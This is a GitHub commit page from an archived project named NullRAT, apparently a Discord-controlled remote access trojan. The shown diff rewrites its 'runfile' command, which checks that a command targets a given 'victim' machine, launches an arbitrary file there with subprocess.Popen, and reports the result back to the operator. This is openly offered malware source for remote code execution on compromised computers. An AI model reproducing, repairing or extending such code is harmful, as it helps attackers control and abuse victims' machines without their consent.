Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit e48cfdc

Browse files
committed
Rewrite runfile command
1 parent b5c2395 commit e48cfdc

2 files changed

Lines changed: 21 additions & 9 deletions

File tree

NullRAT/modules/runfile.py

Lines changed: 20 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -20,19 +20,30 @@ async def runfile(self, ctx, victim, file_path):
2020
"""
2121

2222
if str(victim) == str(self.bot.identifier):
23-
if os.path.isfile():
24-
output = subprocess.run(
23+
24+
if os.path.isfile(file_path):
25+
26+
output = subprocess.Popen(
2527
file_path,
26-
shell=True,
27-
stdin=subprocess.PIPE,
28-
stderr=subprocess.PIPE,
29-
stdout=subprocess.PIPE,
30-
).stdout.decode('utf-8')
28+
cwd = os.getcwd()
29+
)
3130

32-
return await ctx.response.send_message("File has been started, maybe")
31+
return await ctx.response.send_message(
32+
embed = self.bot.genEmbed(
33+
"File has been started!",
34+
datetime.now(),
35+
"You gotta trust me on that one"
36+
)
37+
)
3338

3439
else:
35-
return await ctx.response.send_message("Invalid file")
40+
41+
return await ctx.response.send_message(
42+
embed = self.bot.genEmbed(
43+
"Invalid file",
44+
datetime.now()
45+
)
46+
)
3647

3748
def setup(bot: commands.Bot):
3849
bot.add_cog(RunFile(bot))

NullRAT/null.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
nullcode

0 commit comments

Comments
 (0)